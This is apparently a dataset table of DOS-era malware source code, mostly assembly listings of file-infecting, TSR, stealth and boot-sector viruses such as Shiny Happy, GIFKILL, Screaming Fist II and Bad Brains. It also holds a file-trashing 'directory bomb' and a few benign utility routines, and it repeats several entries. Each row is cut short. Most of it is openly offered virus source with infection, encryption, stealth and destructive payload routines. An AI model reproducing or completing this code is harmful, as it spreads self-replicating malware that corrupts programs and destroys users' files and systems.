text stringlengths 0 20k |
|---|
; SMLBOOT.ASM -- Small Booter Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Virucidal Maniac
virus_type equ 2 ; Spawning Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h... |
SUBR PROC FAR
SPACE
; -------------------------------------------------------------------
; ADD BCD NUMBERS
; THIS ROUTINE ADDS TWO BCD NUMBERS OF EQUAL LENGTH
; ASSUMPTIONS:
; CX CONTAINS THE LENGTH OF THE FIELDS BEING ADDED
; SI POINTS TO THE LEFTMOST BYTE OF THE BCD DATA
; DI POINTS TO THE SECOND OPPER... |
; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism
.model tiny
.code
id = '52'
timeid = 18h
shiny:
call next
next: pop bp
push ds
push es
xor di,di
mov ds,di
cmp word ptr ds:[1*4],offs... |
;
; SkyWalker Written by Virtual Daemon [SLAM] 1997
; į
;
; Description:
;
; į Virus Name: SkyWalker
; į Virus Author: Virtual Daemon
; į Group: SLAM
; į Virus Size: 709 bytes
; į Virus Type: TSR COM infector
; Comments:
;
; į XOR Encryption with a random variable
; į Infec... |
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
mov ax,0
mov ds,ax
mov word ptr [312h],si
push cs
pop ds
push cs
pop es
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int20h: mov ah,00h
j... |
;
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
; : British Computer Virus Research Centre :
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
; ... |
;
;
; V I R U S P R O T O T Y P E
;
; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd
; Date : 25 Jan 1991 21:05
; Function : Found DOS stack in put hims... |
ORG 100H
; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc.
; The author assumes no responsibility for any damage incurred
; from the infection caused by this virus
CURTAIN_OPEN EQU $
ARE_WE_RESIDENT?:
CLD ;Do not remove this
CALL DECRYPT_US
NEXT_PLACE:
MOV AH,30H ... |
; Silence of The Lambs v2.0
; (c) -=<: DRE/\MER :>=- of Demoralized Youth 1992
;
; THIS FILE IS FOR EDUCATION PURPOSES ONLY!
; PERMISSION IS GRANTED TO SPREAD THE SOURCE
; TO VIRUS WRITERS *ONLY*. PLEASE DO NOT MAKE
; ... |
; VirusName: Swedish Warrior
; Origin : Sweden
; Author : Lord Zero
;
; Okey, I decided to include this virus, of many reasons. But first
; let's give some information about LOC (Logical Coders).
;
; LOC (Logical Coders) turned out to be a demo-group instead of a Virus-
; group, that I thought it was. THM (Trojan ... |
;assembly language shell for a simple COM file program
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
START:
FINISH: mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
MAIN ENDS
END START
|
NAME XX2
PAGE 55,132
TITLE ?????
len equ offset handle-offset main2
enlen1 equ offset int21-offset main3
code segment
ASSUME CS:CODE,... |
PAGE ,132
VIRUS SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:VIRUS,DS:VIRUS
R1 EQU IDE-131H
R2 EQU BE1-1A3H
HOSSZ EQU VEG-KEZDET
ORG 100H
KEZDET EQU $
DB 1
CLI
MOV BP,SP
CALL IDE
IDE: POP BX ; A CIM VISSZAOLVASASA
SUB BX,131H
TEST CS:BYTE PTR [BX+KEZDET-R1],1
JZ INDIT
LEA SI,[BX+INDIT-R1]
MOV SP,OFFSET VEG-INDIT... |
;****************************************************************************
; Seneca Virus Strain B
;
; Written by Admiral Bailey
; YAM - Youths Against McAfee
;
; Another overwriting virus. This one though gets all the files and is
; encrypted. My first try at encryption. Well this was long ago so dont
; laugh. ... |
.model large
;EXECSWAP.ASM
; Swap memory and exec another program
; Copyright (c) 1988 TurboPower Software
; May be used freely as long as due credit is given
;-----------------------------------------------------------------------------
;DATA SEGMENT BYTE PUBLIC
.data
EXTRN _BytesSwapped:DWORD ;B... |
;
; Servant Virus by John Tardy / TridenT
;
; Virus Name: Servant
; Aliases:
; V Status: Released
; Discovery: Not (yet)
; Symptoms: .COM growth, message on Novell File server
; Origin: The Netherlands
; Eff Length: 444 Bytes
; Type Code: PNC - Parasitic Non-Resident .COM Infector
; Detection Method:
;... |
;
; The Slim-Line 2 virus, from the Slim-line virus collection.
; (C) 1993 by [DRkRY]/TridenT
;
; And this time it's a direct action COM infector.
; <will be commented soon>
_CODE SEGMENT
ASSUME CS:_CODE, DS:_CODE, ES:_CODE
ORG 100h
FIRST:
DB 'D', 0E9h, 000h, 000h
VX:
MOV... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: SAURON.ASM
; Sauron by Ender
id = 'AC'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
... |
PAGE 60,132
;
;
; STONED2
;
; Created: 1-Jan-80
;
;
DATA_1E EQU 8 ; (694B:0008=0)
DATA_2E EQU 9 ; (694B:0009=0)
DATA_3E EQU 11H ; (694B:0011=0)
CODE_SEG_A SEGMENT
ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A... |
comment ~
Une production
.ee. ee $$
d$$b $$ $
$$$$ $$
.$F3$. $$
d$"^$b $$
... |
; Virus
; Satan's Little Helper-C
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
assume cs:code
.286
code segment "code"
org 0100h
start proc
jmp v_start ;first 5 bytes |... |
.model tiny
.code
org 100h
resid equ 3099h
fileid equ 's'
time_stamp equ 10001b ;stealth marker...
host:
jmp short entry
db 90h,fileid
vstart:
entry:
call $+3
gd:
mov si,sp
mov bp, word ptr [si]
sub bp,offset gd
... |
;skism directory bomb v1.00
;written by hellraiser
;this is a lame bomb consisting of repetative/error full code
;but it gets the job done
;when run this program will start at the first directory from the root
;and trash all files in first level directorys
;then create a directory in place of the distroyed file name
... |
; ------------------------------------------------------------------------- ;
; Slian v2.0 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: ;
; ... |
; Stercor v1.5
; by
; Yosha[LT]
;* - Resident, full stealth spawning exe infector.
;* - Uses upper memory if available.
;* - DTA/FCB Findfirst/Next AND Win95 LFN findfirst/next stealth that makes
; spawns completely disapp... |
virus segment public 'code'
assume cs:virus,ds:virus,es:virus
org 0
VirusSize equ VirusEnd-$
Com: call Begin
call Label2
PartPage equ this word+02h
PageCount equ this word+04h
HdrSize equ this word+08h
MinMem equ this word+0ah
MaxMem equ this word+0ch
ExeSS equ this word+0eh
ExeSP equ this word+10h
ExeSignat... |
;**************************************************************************
;** GRITHER VIRUS **
;** Created: 27 Oct 1990 **
;** [NukE] Notes: Does come from the Vienna Virus! And copies itself on **
;** ... |
;******************************************************************************
;
; "I'm the great prepender!" - Jest on Queen by Rajaat / Genesis
;
;******************************************************************************
;
; Virus name : Great_Prepender
; Author : Rajaat
; Origin : United Kingd... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: GANDALF.ASM
; Gandalf by Ender
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
org 0100h
... |
;****************************************************************************
;* stripped COM-versie
;* met signature's
;*
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
... |
Program Worm;
{$M 2048,0,4096}
Uses Dos, Crt;
Var F1 : File;
F2 : File;
O : String;
Parm : String;
P : DirStr;
N : NameStr;
E : ExtStr;
Buf : Array[0..8000] of Byte;
NumRead : Word;
NumWritten : Word;
DirInfo : SearchRec;
... |
cseg segment para public 'code'
gold_bug proc near
assume cs:cseg
;-----------------------------------------------------------------------------
;designed by "Q" the misanthrope.
;-----------------------------------------------------------------------------
.186
TRUE equ... |
; GEN12.ASM -- Genesis 1:2 Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Virucidal Maniac
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main... |
; Green_Caterpillar.1575.A
; TASM /M
seg000 segment byte public 'CODE'
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:seg000
start proc near
jmp short RealStart
db 90h
Int21Ofs dw 0
Int21Seg dw 0
Int1COfs dw 0
Int1CSeg dw 0
exeHeader dw 20CDh
exeMOD dw 9090h
exeDIV dw 0
exeNumSeg dw 0
exe... |
; GIFKILL.ASM -- Seek and Destroy GIF
; Written by Dark Avenger
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibilit... |
;=============================================================================
;
; C*P*I
;
; CORRUPTED PROGRAMMING INTERNATIONAL
; -----------------------------------
; p r e s e n t s
;
; ... |
; Gergana.222
; disassembly by Metabolis/VLAD
; with a small amount of help from Qark :)
; I thought it would be interesting since it infects the start of
; files whereas most will append.
; use TASM to re-assemble
int24s equ 12h ; original int 24h
int24o equ 14h ... |
;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
SIGNLEN equ ... |
;
; grafix --- graflib.asm
;
; miscellaneous assembly routines
;
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
;
; Modified 5/29/87 by sss to allow for different memory models
;
title graflib
include macros.ah
buflen equ 32768
sseg
endss
dseg
endds
buf segment public 'BUF'
db bu... |
;****************************************************************************
;* stripped COM-versie
;* met signature's
;*
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
... |
;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
SIGNLEN equ ... |
xor cx,cx
mov dx,offset File
mov ah,4eh
int 21h
z:
mov dx,9eh
mov ax,3d02h
int 21h
mov bx,ax
mov dx,100h
mov cl,27h
mov ah,40h
int 21h
mov ah,3eh
int 21h
mov ah,4fh
int 21h
jnc z
ret
file db '*.com',0
e: |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
nop
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ... |
.model tiny
.code
.radix 16
org 0
our_buffer label byte
org 80
line label byte
org 100
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
resK = (end_all - our_buffer + 3ff) / 400
resP = resK * 40
sector_length = (heap - bl... |
.radix 16
start:
jmp begin
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
work dd ?
count db ?
drive db ?
Fat_sec dw ?
old_boot dw 666d
flag db ?
sys_sec dw ?
;Simulate PUSHA
pusha:
pop word ptr cs:[sys_sec-start]
pushf
push ax
push bx
push cx
push dx
push si
pus... |
;*******************************************************************************
;* *
;* THE NUMBER OF THE BEAST VIRUS *
;* *
;* This is NOT a original virus, but a modification. Main difference *
;* between original virus is, that this release support ANY DOS version *
;... |
BAC segment para public 'code'
assume cs:BAC, ds:BAC, es:BAC, ss:NOTHING
org 100h ; .COM format
BEGIN:
jmp CODE_START ; Jump around data declarations
DECLARE: ; Messages, Storage Areas, Equates
COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.'
db 13,10,'$'
PATH_FILE_LEN equ 77 ;Length = 1, Path = 63... |
name boot1_asm
.radix 16
start:
jmp boot
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
boot:
xor ax,ax
mov ss,ax
mov sp,7C00
mov ds,ax
mov ax,[413]
sub ax,2
mov [413],ax
mov cl,6
shl ax,cl
sub ax,7C0
mov es,ax
mov si,7C00
mov di,si
mov cx,100
rep movsw
db... |
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: BITTER.ASM
; Bitter by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'EF'
.model tiny
.code
; Assemble with... |
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
;
; This virus is a bit cheesy, but hell.... Believe it or not, I got bored
;enough to write a direct action .BAT infector in assembly. It infects files
;by basically creating a debug script of itself, echoing it out to a file,
;then running it using... |
; -Bad Attitude-
; "Created by Immortal Riot's destructive development team"
; (c) '94 The Unforgiven/Immortal Riot
;
; "If I don't have bad attitude, this virus is harmless"
;
; Notes:
; F-Prot, Scan, Tbav, Findviru can't find shits of this virus.
;
; Disclaimer:
; I... |
;---------
; Bubbles 2 written by Admiral Bailey
;---------
Code Segment Public 'Code'
Assume CS:Code
Org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
MaxFiles = 3 ... |
; The Blue Nine virus... (c) 94 Conzouler
; Resident in conventional memory
; Com infection on load and execute
; Com infection on 11/12 (dir for short - TU)
; Size stealth on 11/12
; Size stealth on 4E/4F
; Infection check: seconds=4
; Installation check: get dos version with cx=666
; Redirection stealth on 3D/3F
; N... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
;Binary Acid Virus
;by Evil Avatar
;Another lame virus by me. Then again, not bad for my second virus!
;This is a resident .COM/.EXE/.OV? infector that infects on file runs.
;It does hide the size change AND avoids CHKDSK and its ilk.
;Plenty more from me to come. Stay tuned.
.model tiny ... |
;
;
;
; = == =
;
; VIRUS.
;
; A 29... |
;****************************************************************************
;* Little Brother Version 1
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
FILELEN ... |
P/HUN Issue #4, Volume 2: Phile 3 of 11
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A BOOT SECTOR VIRUS
5/15/89
The following is a disassembled and commented version of the Alemeda
College Boot infector virus. Courtesy... |
; Boot Record Program (C) Copyright Peter Norton 1986
boots segment 'code'
public boot
assume cs:boots
boot proc far
; 30-byte DOS info -- set up for 1-side, 8-sector
; change as needed for any other format
head:
jmp begin ; EB 2A 90 as per normal
db ' Norton ' ; 8-byte sy... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
; BROWSE.ASM -- Full Screen File Pager
; ====================================
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 0080h
Parameter Label Byte
Org 0100h
Entry: Jmp Begin
; All Data
; --------
db 'ATTR='
Attribute db 0 ; Current screen attribute
db 'SHIFT='
ShiftHoriz db 8 ; Horizon... |
name boot2_asm
.radix 16
n_000100:
inc word ptr [7DF3]
mov bx,[7DF3]
add byte ptr [7EB2],2
call n_FFFF9D
jmp short n_00014B
n_000112:
mov ax,3
test byte ptr [7DF7],4
je n_00011D
inc ax
n_00011D:
mul si
shr ax,1
sub ah,byte ptr [7EB2]
mov bx,ax
cmp bx,1FF
jnb n_000100
mov dx,[bx+8000]
test byte ptr ... |
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of d... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
inc ax
dec ax
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
.radix 16
;******************************************
; *
; Code masters LTD. presents: *
; THE BOOT HORSE V4.10 *
; Finished on the 25.04.1991. *
; This is a boot virus,which does not *
; "cuts" memory.It places itself into ... |
;
;
; BOOT_VIR
;
; Created: 9-Jul-93 Comments by Mike M.
;
;
Int60_Offset equ 180h
Int60_Segment equ 182h
main_ram_size_ equ 413h
d_0000_07B4_e equ... |
;
;
; Baby Bug
; by Tcp/29A
;
;
;
; Because in 29A#2 it wasn't going to be... |
P/HUN Issue #4, Volume 2: Phile 3 of 11
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A BOOT SECTOR VIRUS
5/15/89
The following is a disassembled and commented version of the Alemeda
College Boot infector virus. Courtesy... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
BAC segment para public 'code'
assume cs:BAC, ds:BAC, es:BAC, ss:NOTHING
org 100h ; .COM format
BEGIN:
jmp CODE_START ; Jump around data declarations
DECLARE: ; Messages, Storage Areas, Equates
COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.'
db 13,10,'$'
PATH_FILE_LEN equ 77 ;Length = 1, Path = 63... |
.radix 16
;******************************************
; *
; Code masters LTD. presents: *
; THE BOOT HORSE V4.10 *
; Finished on the 25.04.1991. *
; This is a boot virus,which does not *
; "cuts" memory.It places itself into ... |
;Ŀ
; Dutche Breeze by Glenn Benton
;Ĵ
; This will be a Parasytic Non-Resident .COM infector.
; It will also infect COMMAND.COM.
;
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'C... |
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
;
; The Horse's boot sector virus
; This is an author's source
;
.radix 16
begin:
jmp start
my label word
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2d0
db 0fdh
dw 2
dw 9
dw 2
dw 0
lee label word
virlen equ offset endcode-begin
start:
cld
sub ax,ax
mov ds,ax
mov bp,7c00
cli
mov ss,ax
mov ... |
;
; VIPERizer, Strain B
; Copyright (c) 1992, Stingray/VIPER
; This is a Viral Inclined Programming Experts Ring Programming Team Production
;
; VIPER are: Stingray, Venom, and Guido Sanchez
;
MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro.
DB 0B9H
DW X
ENDM
CODE ... |
;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not
;self-reproducing, but it will be used as the foundation on which to build a
;virus into a boot sector.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care... |
; ------------------------------------------------------------------------------
;
; - Bad Religion -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
; -------------------------------------------------------------------------... |
From smtp Tue Feb 7 13:16 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA08362 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:38 -0500
Date: Tue, 7 Feb 1995 13:19:38 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-L... |
;
; VIPERizer, Strain B
; Copyright (c) 1992, Stingray/VIPER
; This is a Viral Inclined Programming Experts Ring Programming Team Production
;
; VIPER are: Stingray, Venom, and Guido Sanchez
;
MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro.
DB 0B9H
DW X
ENDM
CODE ... |
;---------
; Bubbles Virus written by Admiral Bailey
; Using The Instant Virus Production Kit By Admiral Bailey
; To compile this use TASM /M BUBBLES.ASM
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ... |
assume ss:codevir
pila segment stack 'stack'
db 64 dup ('12345678')
pila ends
code segment
anfitrion:
assume cs:code, ds:code
mov ah, 02h
mov dl, 'z'
int 21h
mov ax, 4C00h
int 21h
code ends
codevir segment
assume cs:codevir, ds:co... |
***************************************************
; Program Virus
; Version 1.1
; Writter : R. Burger
; Created 1986
; This is a demonstration program for computer
; viruses. It has the ability to replace itself.
; and thereby modify other programs. Enjoy.
;************************************... |
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anythi... |
; Boot Record Program (C) Copyright Peter Norton 1986
; From PC Magazine ca. January 1986
boots segment 'code'
public boot
assume cs:boots
boot proc far
; 30-byte DOS info -- set up for 2-sides, 9-sector
; change as needed for any other format
head:
jmp begin ; EB 2A 90 as per norma... |
page ,132
title BootThru - v1.05
;------------------------------------------------------------------------
;
; BootThru - Copyright (c) Bill Gibson - 1987
; Lathrup Village, Mi 48076
;
; Ver. 1.00 - Initial version (not rlsd) - 01/11/87
; 1.01 - revised code structure " - 01/25/87
; 1.02 - revis... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994
Xref: netcom.com alt.comp.virus:508
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: BlackKnight Virus (ANTI AV VIRUS)
Date: 29 Nov 1994 13:09:23 GMT
Organization: Netcom
Lines: 376
Distribution... |
; BROWSE.ASM -- Full Screen File Pager
; ====================================
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 0080h
Parameter Label Byte
Org 0100h
Entry: Jmp Begin
; All Data
; --------
db 'ATTR='
Attribute db 0 ; Current screen attribute
db 'SHIFT='
ShiftHoriz db 8 ; Horizon... |
;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not
;self-reproducing, but it will be used as the foundation on which to build a
;virus into a boot sector.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care... |
; HR Virus Strain B-Compacted
; Bad Brains
; Created 8/5/91 by Hellraiser
; Destructive Code - Beware!
fileattr EQU 21
filetime EQU 22
filedate EQU 24
filename EQU 30
virus_size EQU 554
code_start EQU 0100h
code segment 'code'
assume cs:code,ds:code,es:code
org ... |
; ------------------------------------------------------------------------------
;
; - Binary Obsession -
; Created by Immortal Riot's destructive development team
; (c) 1994 Metal Militia/Immortal Riot
;
; ---------------------------------------------------------------------... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
;
; This virus is a bit cheesy, but hell.... Believe it or not, I got bored
;enough to write a direct action .BAT infector in assembly. It infects files
;by basically creating a debug script of itself, echoing it out to a file,
;then running it using... |
;*******************************************************************************
;* *
;* THE NUMBER OF THE BEAST VIRUS *
;* *
;* This is NOT a original virus, but a modification. Main difference *
;* between original virus is, that this release support ANY DOS version *
;... |
; BLOODY! virus
;
; Discovered an commented by Ferenc Leitold
; Hungarian VirusBuster Team
; Address: 1399 Budapest
; P.O. box 701/349
; HUNGARY
217D:0100 2EFF2E177C JMP Far CS:[7C17]
217D:0... |
; NAME: Basho.com
; SIZE: 431 bytes
; AUTHOR: Sea4
; TYPE: Appending in a weird way.
; ENCRYPTION: No
; DT: Yes
; STEALTH: No
; REPAIRABLE: Yes
; PAYLOAD: Yes
; RESIDENT: No
; ROI: 4 files per run
; POLYMORPHIC: No
; Explanation.
; Its not very easy to understand at first glance how it even possibly works.
; But th... |
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